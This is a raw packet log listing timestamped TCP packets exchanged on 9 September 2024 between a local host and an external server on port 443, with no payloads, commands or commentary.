Sep 9, 2024 18:45:14.946877003 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.946940899 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.946945906 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.946979046 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.947917938 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.947932005 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.947984934 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:14.947990894 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:14.948024035 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.001063108 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.001080990 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.001209021 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.001221895 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.001276970 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.001530886 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.001544952 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.001591921 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.001597881 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.001729012 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.001934052 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.001948118 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.002453089 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.002459049 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.002468109 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.002528906 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.002602100 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.002602100 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.002610922 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.003412008 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.004774094 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.004786968 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.005979061 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.005986929 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.006087065 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.006127119 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.006141901 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.007400990 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.007406950 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.010360003 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.039741993 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.039756060 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.039828062 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.039828062 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.039834023 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.039913893 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.040592909 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.040606022 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.040673018 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.040673018 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.040678024 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.041086912 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.094130039 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.094150066 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.094405890 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.094422102 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.094544888 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.094564915 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.094594002 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.094594002 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.094600916 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.094650984 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.094650984 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.094819069 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.094832897 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.095094919 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.095101118 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.095242977 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.095261097 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.095274925 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.095279932 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.095292091 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.095334053 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.095334053 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.100090027 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.100104094 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.100163937 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.100172997 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.100210905 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.100210905 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.102683067 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.102695942 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.102770090 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.102770090 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.102777004 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.103004932 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.136002064 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.136015892 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.136358023 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.136367083 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.136399031 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.136430025 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.136444092 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.190651894 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.190670967 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.190790892 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.190815926 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.190836906 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.190888882 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.190888882 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.190897942 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191046000 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.191056013 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191066027 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191179037 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191179991 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.191196918 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191251040 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191257000 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.191263914 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191407919 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.191683054 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191723108 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191770077 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.191770077 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.191778898 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.191817999 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.192972898 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.192989111 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.194957972 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.194964886 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.195027113 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.195123911 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.195139885 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.195169926 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.195177078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.195218086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.195218086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.229953051 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.229974031 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.230081081 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.230117083 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.230340004 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.230359077 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.230365992 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.230374098 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.230391979 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.231254101 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.283358097 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.283389091 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.283449888 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.283472061 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.283488035 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.283555031 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.284498930 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.284513950 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.284615040 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.284620047 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.284672976 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.284835100 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.284848928 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.284918070 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.284918070 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.284924984 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.284961939 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.285455942 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.285475969 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.285784960 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.285809040 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.285814047 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.285837889 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.285875082 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.288029909 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.288043022 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.288100004 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.288100004 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.288105965 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.288137913 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.326088905 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.326117039 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.326239109 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.326262951 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.326333046 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.327049971 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.327097893 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.327143908 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.327143908 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.327152014 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.327406883 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.387751102 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.387813091 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.387845039 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.387864113 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.387882948 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.387967110 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.387988091 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388037920 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388061047 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388066053 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388109922 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388109922 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388468027 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388519049 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388550997 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388556004 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388573885 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388597012 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388788939 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388829947 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388866901 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388866901 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388873100 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.388923883 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.388998985 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.389045000 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.389062881 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.389086962 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.389132023 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.389132023 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.390075922 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.390116930 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.390187979 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.390187979 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.390193939 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.390445948 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.419063091 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.419126987 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.419215918 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.419215918 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.419234037 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.419327021 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.419375896 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.419378042 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.419378042 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.419439077 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.419486046 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.419486046 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.480334997 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.480398893 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.480479002 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.480552912 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.480571032 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.480587006 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.480657101 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.480735064 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.480772018 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.480817080 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.480863094 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.480863094 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.480935097 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.480983019 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.481000900 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.481024981 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.481040001 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.481118917 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.481602907 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.481642008 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.481694937 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.481694937 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.481709003 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.481765032 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.482330084 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.482378006 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.482409954 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.482420921 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.482445955 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.482461929 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.482543945 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.482583046 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.482600927 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.482614994 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.482650042 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.482650042 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.511706114 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.511765957 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.511836052 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.511836052 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.511852026 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.511909008 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.511938095 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.511991978 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.512044907 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.512044907 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.512049913 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.512100935 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.572849989 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.572912931 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.572957993 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.572993040 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.573018074 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.573081970 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.573195934 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.573242903 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.573276043 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.573302984 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.573327065 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.573378086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.573724985 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.573772907 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.573795080 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.573810101 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.573822021 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.573847055 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574162960 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574203014 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574249983 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574255943 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574278116 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574301004 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574723005 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574762106 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574815035 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574815035 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574821949 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574856043 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574882030 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574919939 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574947119 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.574955940 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.574975967 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.575009108 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.604150057 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.604181051 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.604242086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.604242086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.604262114 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.604391098 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.604413033 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.604425907 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.604454994 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.604461908 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.604484081 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.604496002 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.604548931 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.604548931 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.669410944 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.669472933 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.669509888 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.669524908 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.669560909 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.669560909 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:15.669761896 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.669814110 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:15.669864893 CEST	49717	443	192.168.2.5	198.54.120.231
